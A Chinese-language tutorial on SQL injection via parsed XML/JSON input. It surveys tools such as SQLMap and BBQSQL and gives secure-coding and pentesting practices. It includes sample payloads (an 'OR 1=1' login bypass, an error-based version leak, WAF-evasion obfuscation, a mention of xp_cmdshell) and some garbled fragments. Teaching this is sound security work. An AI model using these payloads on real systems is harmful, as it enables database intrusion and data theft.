解析 XML 或 JSON 数据并在 SQL 查询中使用解析数据的应用程序如果未正确清理输入,则可能容易受到注入。XML 和 JSON 注入涉及将恶意数据注入 XML 或 JSON 结构,然后在 SQL 查询中使用这些数据。如果应用程序直接在 SQL 语句中使用解析的值,则可能会发生这种情况。
1 | { |
如果应用程序直接在 SQL 查询中使用这些值(如 ),则可能会导致注入。SELECT * FROM users WHERE username = 'admin' OR '1'='1'-- AND password = 'password'
QL由于安全措施的实施不当和不同 Web 框架的复杂性,注入仍然是一个常见的威胁_。_自动识别和利用这些漏洞可能具有挑战性,但已经开发了多种工具和技术来帮助简化这一过程。!
识别过程中的主要问题
识别 SQL 注入漏洞涉及多项挑战,类似于识别任何其他服务器端漏洞。以下是关键问题:
- SQL 查询的动态性质:SQL 查询可以动态构建,因此难以检测注入点。具有多层逻辑的复杂查询可能会掩盖潜在的漏洞。
- 各种注入点:SQL 注入可能发生在应用程序的不同部分,包括输入字段、HTTP 标头和 URL 参数。识别所有可能的注入点需要彻底的测试和对应用的全面了解。
- 使用安全措施:应用程序可以使用准备好的语句、参数化查询和 ORM 框架,这可以防止 SQL 注入。自动化工具必须能够区分安全和不安全的查询构造。
- 上下文特定检测:在 SQL 查询中使用用户输入的上下文可能差异很大。工具必须适应不同的环境,以准确识别漏洞。
几个重要的工具
安全社区内已经开发了几个著名的工具和项目,以帮助自动查找 SQL 注入漏洞。以下是一些众所周知的工具和 GitHub 存储库,它们提供了检测和利用 SQL 注入的功能:
- **SQLMap**:SQLMap 是一种开源工具,可自动执行检测和利用 Web 应用程序中的 SQL 注入漏洞的过程。它支持广泛的数据库,并为识别和利用提供了广泛的选项。您可以在此处了解有关该工具的更多信息。
- **SQLNinja**:SQLNinja 是一种专门用于利用使用 Microsoft SQL Server 作为后端数据库的 Web 应用程序中的 SQL 注入漏洞的工具。它自动执行各个阶段的漏洞利用,包括数据库指纹识别和数据提取。
- JSQL 注入:一个 Java 库,专注于检测 Java 应用程序中的 SQL 注入漏洞。它支持各种类型的 SQL 注入攻击,并提供一系列用于提取数据和控制数据库的选项。
- 烧烤SQL: BBQSQL 是一个 Blind SQL Injection 漏洞利用框架,旨在简单且高效地自动利用 Blind SQL Injection 漏洞。
自动识别和利用 SQL 注入漏洞对于维护 Web 应用程序安全至关重要。SQLMap、SQLNinja 和 BBQSQL 等工具为检测和利用这些漏洞提供了强大的功能。但是,重要的是要了解自动化工具的局限性以及手动分析和验证的必要性,以确保全面的安全覆盖。通过将这些工具集成到您的安全工作流程中并遵循输入验证和查询构建的最佳实践,您可以有效降低与 SQL 注入漏洞相关的风险。
最佳实践
SQL 注入是一个众所周知且普遍存在的漏洞,多年来一直是 Web 应用程序安全的主要关注点。渗透测试人员在评估期间必须特别注意此漏洞,因为它需要全面了解识别和利用 SQL 注入点的各种技术。同样,安全编码人员必须通过实施强大的输入验证并遵守安全编码实践来防止此类攻击,从而优先考虑保护其应用程序。下面提到了一些最佳实践:
安全编码员
- 参数化查询和预编译语句:使用参数化查询和预编译语句来确保所有用户输入都被视为数据而不是可执行代码。此技术通过将查询结构与数据分离来帮助防止 SQL 注入。例如,在带有 PDO 的 PHP 中,您可以准备一个语句并绑定参数,这可确保用户输入得到安全处理,就像 .
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]);
- 输入验证和清理:实施强大的输入验证和清理,以确保输入符合预期格式。验证数据类型、长度和范围,并拒绝任何不符合这些条件的输入。使用 PHP 中的内置函数(如 和)来有效地清理输入。
htmlspecialchars()``filter_var()
- 最低权限原则:通过向应用程序帐户授予最低必要的数据库权限来应用最低权限原则。避免使用具有管理权限的数据库帐户进行日常操作。这通过限制攻击者对关键数据库功能的访问,将成功的 SQL 注入攻击的潜在影响降至最低。
- 存储过程:使用存储过程封装和验证 SQL 逻辑。这允许您控制和验证数据库本身内的输入,从而降低 SQL 注入的风险。确保存储过程仅接受经过验证的输入,并且设计为在内部处理输入清理。
- 定期安全审计和代码审查:定期进行安全审计和代码审查,以识别和解决漏洞。自动化工具可以帮助扫描 SQL 注入风险,但人工审查对于发现细微问题也是必不可少的。定期审核可确保您的安全实践与不断变化的威胁保持同步。
渗透测试器
- 利用特定于数据库的功能:不同的数据库管理系统 (DBMS) 具有独特的功能和语法。渗透测试人员应该了解目标 DBMS(例如 MySQL、PostgreSQL、Oracle、MSSQL)的细节,以有效地利用这些功能。例如,MSSQL 支持该命令,该命令可用于执行系统命令。
xp_cmdshell
- 利用错误消息:利用详细的错误消息来深入了解数据库架构和结构。基于错误的 SQL 注入涉及触发应用程序生成错误消息,以揭示有用的信息。例如,使用 1’ AND 1=CONVERT(int, (SELECT @@version)) – 可能会生成泄漏版本信息的错误。
- 绕过 WAF 和过滤器:测试各种混淆技术以绕过 Web 应用程序防火墙 (WAF) 和输入过滤器。这包括使用混合大小写 (SeLeCt)、串联 (CONCAT(CHAR(83)、CHAR(69)、CHAR(76)、CHAR(69)、CHAR(67)、CHAR(84))) 和替代编码(十六进制、URL 编码)。此外,使用内联注释 (/**/) 和不同的字符编码 (例如 %09、%0A) 可以帮助绕过简单的过滤器。
- 数据库指纹识别:确定数据库的类型和版本以定制攻击。这可以通过发送特定查询来完成,这些查询根据 DBMS 产生不同的结果。例如,SELECT version() 适用于 PostgreSQL,而 SELECT @@version适用于 MySQL 和 MSSQL。
- 使用 SQL 注入进行透视:使用 SQL 注入来透视和利用网络的其他部分。一旦数据库服务器遭到入侵,它就可以用于访问其他内部系统。这可能涉及提取凭证或利用系统之间的信任关系。
高级 SQL 注入测试需要对各种技术有深入的了解,并能够适应不同的环境。渗透测试人员应采用各种方法,从利用特定于数据库的功能到绕过复杂的过滤器,再到彻底评估和利用 SQL 注入漏洞。有条不紊地记录每个步骤可确保对应用程序的安全性进行全面评估。